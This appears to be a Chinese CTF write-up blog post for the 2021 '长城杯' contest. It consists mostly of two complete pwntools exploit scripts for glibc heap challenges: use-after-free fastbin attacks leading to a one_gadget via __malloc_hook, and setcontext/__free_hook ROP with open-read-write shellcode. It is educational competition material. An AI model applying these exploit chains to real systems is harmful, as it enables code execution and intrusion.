长城杯wp

签到

unhex然后base64 decode

pwn1

签到UAF题,libc-2.23.so下的利用,还有个off by one和后门,uaf就够了,后门也不知道怎么用 (赛后听师傅说爆破1/256 ???)
uaf打io泄露地址,realloc调栈帧,one_gadget一把梭,之前没调过,调了很久QAQ,太菜了

from pwn import *
import sys

arch = 64
challenge = "./pwn"
libc_path_local = "/glibc/x64/2.23/lib/libc-2.23.so"
libc_path_remote = "./libc.so.6"

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
gdb.attach(io)

_add,_free,_edit,_backdoor = 1,2,3,666

menu = ">>"

def add(idx, size):
sla(menu, str(_add))
sla("input index:", str(idx))
sa("input size:", str(size))

def edit(idx, content):
sla(menu, str(_edit))
sla("input index:", str(idx))
sa("input context:", content)

def free(idx):
sla(menu, str(_free))
sla("input index:", str(idx))

def backdoor():
sla(menu, str(_backdoor))
ru('0x')
return int(io.recvuntil('\n', drop=True), 16)


while True:
try:
if local:
if libc_path_local:
io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
libc = ELF(libc_path_local)
else:
io = process(challenge)
else:
io = remote("47.104.175.110", 20066)
if libc_path_remote:
libc = ELF(libc_path_remote)

printf = backdoor()
echo('PRINTF:' + hex(printf))
add(0, 0x60)
add(1, 0x60)
add(2, 0x90)
add(3, 0x20)

free(2)
add(4, 0x60)

free(0)
free(1)
free(0)

edit(0, '\xe0\n')
edit(4, '\xdd\x65\n')
add(5, 0x60)
add(5, 0x60)
add(5, 0x60)
payload = 3 * 'a' + p64(0)*6 + p64(0xfbad1800)
payload += p64(0) * 3 + '\x00\n'
edit(5, payload)
leak = uu64(ru('\x7f')[-6:]) - 192
echo('LEAK:' + hex(leak))
libc_address = leak - libc.sym['_IO_2_1_stderr_']
echo('LIBC:' + hex(libc_address))

__malloc_hook = libc_address + libc.sym['__malloc_hook']
ogList = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
oglocal = [0x3f43a]

add(0, 0x60)
add(1, 0x60)
add(2, 0x60)

free(0)
free(1)
free(0)
edit(0, p64(__malloc_hook - 0x23) + '\n')
add(6, 0x60)
add(7, 0x60)

og = libc_address + ogList[1]
# og = libc_address + oglocal[0]
# realloc_hook = libc_address + libc.sym['__realloc_hook']
realloc = libc_address + libc.sym['__libc_realloc']

payload = (0x13 - 0x8) * 'a' + p64(og) + p64(realloc + 0xb) + '\n'
edit(7, payload)

raw_input()
add(8, 64)
# gdba()
ia()
break

except Exception as e:
print(e)
io.close()
continue

pwn2

漏洞是uaf,libc 版本是2.27-3ubuntu1.4,跟libc2.31机制差不多,有key,但是不用管,直接edit完事
有show功能,但是只能申请0x10-0x60大小的堆块,而且开了沙箱,堆部结构很乱,先是一顿整理堆结构然后一通overlap构造一个unsorted bin出来leak地址
由于开了沙箱,考虑__free_hook改为setcontext+53控制寄存器
setcontext所用的payload太长,0x60大小的chunk写不进去,就用了两块0x60大小的chunk和一块0x50大小的chunk来写,由于之前伪造了ub,如果不清空在后续malloc和free的时候可能会报各种错误,所以先清空一些必要的非法chunk,然后由于payload不能断,但是header会阻断payload,所以又是一顿overlap伪造出来三个假的chunk来覆盖header
然后就是orw shellcode一把梭

from pwn import *
import sys

from six import indexbytes

arch = 64
challenge = "./pwn"
libc_path_local = "/glibc/x64/1.4_2.27/libc-2.27.so"
libc_path_remote = "./libc.so.6"

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
if libc_path_local:
io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
libc = ELF(libc_path_local)
else:
io = process(challenge)
else:
io = remote("47.104.175.110", 61608)
if libc_path_remote:
libc = ELF(libc_path_remote)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./pwn}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)

_add,_free,_edit,_show = 1,2,3,4

menu = ">>"

def add(idx, size):
sla(menu, str(_add))
sla("input index:", str(idx))
sla("input size:", str(size))

def edit(idx, content):
sla(menu, str(_edit))
sla("input index:", str(idx))
sa("input context:", content)

def free(idx):
sla(menu, str(_free))
sla("input index:", str(idx))

def show(idx):
sla(menu, str(_show))
sla("input index:", str(idx))

def poc():
edit(11, 0x60 * 'a')
edit(12, 0x50 * 'b')
edit(13, 0x60 * 'c')

def exp():

for i in range(7):
add(i, 0x60)

for i in range(11):
add(i, 0x60)

fake = p64(0) + p64(0x71) # Forge a fake header.
edit(0, fake)

free(2)
edit(2, 'a' * 8)
show(2)
ru('aaaaaaaa')
heap = uu64(io.recvuntil('\n', drop=True)[-6:])
fake_chunk = heap + 0xf70
echo('HEAP:' + hex(heap))
echo('FAKE_CHUNK:' + hex(fake_chunk))
edit(2, p64(0) * 2)
free(2)
edit(2, p64(fake_chunk) + p64(heap))

add(2, 0x60)
add(11, 0x60)

edit(11, 'a' * 0x50 + p64(0) + p64(0x421)) # fake ub
edit(10, (p64(0) + p64(0x21)) * (0x60 / 0x10))

free(1)
show(1)
leak = uu64(ru('\x7f')[-6:])
echo('LEAK:' + hex(leak))
libc_base = leak - 96 - 0x10 - libc.sym['__malloc_hook']
echo('LIBC BASE:' + hex(libc_base))

setcontext_door = libc_base + libc.sym['setcontext'] + 53
free_hook = libc_base + libc.sym['__free_hook']
syscall = libc_base + libc.search(asm("syscall\nret")).next()
echo('SYSCALL:' + hex(syscall))

#=========================setcontext===========================

fake_rsp = free_hook & 0xfffffffffffff000
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = fake_rsp
frame.rdx = 0x2000
frame.rsp = fake_rsp
frame.rip = syscall
echo(hex(len(str(frame))))


add(12, 0x60)
edit(12, (p64(0) + p64(0x71)) * (0x60 / 0x10))
free(12)
edit(12, p64(0) * 2)
free(12)
fake_chunk = heap + 0x1020
edit(12, p64(fake_chunk) + p64(heap))

add(12, 0x60)
add(13, 0x60) # fake chunk

for i in range(0x3b0 / 0x30 + 1):
add(1, 0x20)
# fake chunk: 13 11 12
echo('HACX SIG:' + hex(heap + 0xf50))
paylaod = str(frame)
edit(11, paylaod[0:0x60])
edit(12, paylaod[0x60:0x60 + 0x50])
edit(13, paylaod[0x60 + 0x50:].ljust(0x60, '\x00'))
# poc()

add(4, 0x60)
free(4)
edit(4, p64(0) * 2)
free(4)
edit(4, p64(free_hook) + p64(heap))

add(4, 0x60)
add(14, 0x60)
edit(14, p64(setcontext_door)) # __free_hook

free(11)

layout = [
libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
free_hook & 0xfffffffffffff000,
libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
0x2000,
libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
7,
libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
10,
syscall, #: syscall; ret;
libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]

shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed

mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')
sl(flat(layout) + shellcode)

# gdba()
pass

exp()
ia()

太菜了,要好好学习

文章作者: Alex
文章链接: http://example.com/2021/09/19/长城杯/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~